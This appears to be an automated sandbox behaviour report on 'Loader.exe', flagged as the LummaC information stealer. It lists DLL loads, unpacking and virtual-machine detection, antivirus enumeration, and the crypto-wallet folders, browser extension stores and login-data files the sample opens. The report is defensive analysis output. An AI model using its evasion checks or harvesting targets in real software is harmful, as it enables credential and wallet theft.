Source: C:\Users\user\Desktop\Loader.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\Loader.exe

Unpacked PE file: 0.2.Loader.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.CRT:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\Loader.exe

Unpacked PE file: 0.2.Loader.exe.400000.0.unpack

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3728C push esi; retf	0_3_00B3728F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3728C push esi; retf	0_3_00B3728F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_032344C6 push cs; ret	0_3_032344C7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_032344C6 push cs; ret	0_3_032344C7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3728C push esi; retf	0_3_00B3728F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3728C push esi; retf	0_3_00B3728F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3728C push esi; retf	0_3_00B3728F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3728C push esi; retf	0_3_00B3728F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_032344C6 push cs; ret	0_3_032344C7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_032344C6 push cs; ret	0_3_032344C7
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3728C push esi; retf	0_3_00B3728F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3728C push esi; retf	0_3_00B3728F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_3_00B3D32C push esi; retf	0_3_00B3D32F
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0043A8EA push edi; retf	0_2_0043A8EB
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_0043DB25 pushfd ; iretd	0_2_0043DB26
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_00430C1E push dword ptr [esi]; ret	0_2_00430C24

Source: Loader.exe

Static PE information: section name: .text entropy: 7.325082725783845

Source: C:\Users\user\Desktop\Loader.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\Loader.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe TID: 6384

Thread sleep time: -90000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: Amcache.hve.12.dr	Binary or memory string: VMware
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696492231n
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231}
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696492231
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696492231s
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696492231
Source: Amcache.hve.12.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696492231
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696492231x
Source: Loader.exe, 00000000.00000002.2090653765.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231^
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696492231t
Source: Amcache.hve.12.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696492231f
Source: Amcache.hve.12.dr	Binary or memory string: vmci.sys
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696492231
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696492231~
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696492231x
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696492231o
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696492231u
Source: Amcache.hve.12.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696492231
Source: Loader.exe, 00000000.00000002.2090653765.0000000000A82000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhs
Source: Amcache.hve.12.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.12.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696492231
Source: Amcache.hve.12.dr	Binary or memory string: VMware-42 27 88 19 56 cc 59 1a-97 79 fb 8c bf a1 e2 9d
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696492231t
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696492231x
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696492231]
Source: Amcache.hve.12.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696492231p
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696492231d
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.12.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696492231
Source: Amcache.hve.12.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696492231
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696492231
Source: Loader.exe, 00000000.00000003.1532719192.000000000327E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696492231p
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696492231z
Source: Amcache.hve.12.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696492231j
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696492231}
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696492231h
Source: Amcache.hve.12.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Loader.exe, 00000000.00000002.2090653765.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWgxg
Source: Amcache.hve.12.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696492231
Source: Loader.exe, 00000000.00000003.1532787898.0000000003271000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696492231\|UE

Source: C:\Users\user\Desktop\Loader.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Code function: 0_2_00436640 LdrInitializeThunk,

0_2_00436640

Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_004376A0 mov eax, dword ptr fs:[00000030h]	0_2_004376A0
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009E7907 mov eax, dword ptr fs:[00000030h]	0_2_009E7907
Source: C:\Users\user\Desktop\Loader.exe	Code function: 0_2_009B092B mov eax, dword ptr fs:[00000030h]	0_2_009B092B

Source: C:\Users\user\Desktop\Loader.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Loader.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Loader.exe, 00000000.00000002.2090653765.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: MsMpEng.exe

Source: C:\Users\user\Desktop\Loader.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Loader.exe PID: 3960, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Loader.exe	String found in binary or memory: %appdata%\Electrum-LTC\wallets
Source: Loader.exe	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: Loader.exe	String found in binary or memory: Wallets/JAXX New Version
Source: Loader.exe, 00000000.00000002.2090653765.0000000000AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: Loader.exe	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: Loader.exe	String found in binary or memory: Wallets/Exodus
Source: Loader.exe, 00000000.00000003.1579148624.0000000000B25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance
Source: Loader.exe, 00000000.00000003.1480306970.0000000000B25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ethereum
Source: Loader.exe, 00000000.00000003.1620822901.0000000003239000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: Loader.exe	String found in binary or memory: keystore
Source: Loader.exe, 00000000.00000003.1480306970.0000000000B25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\Loader.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
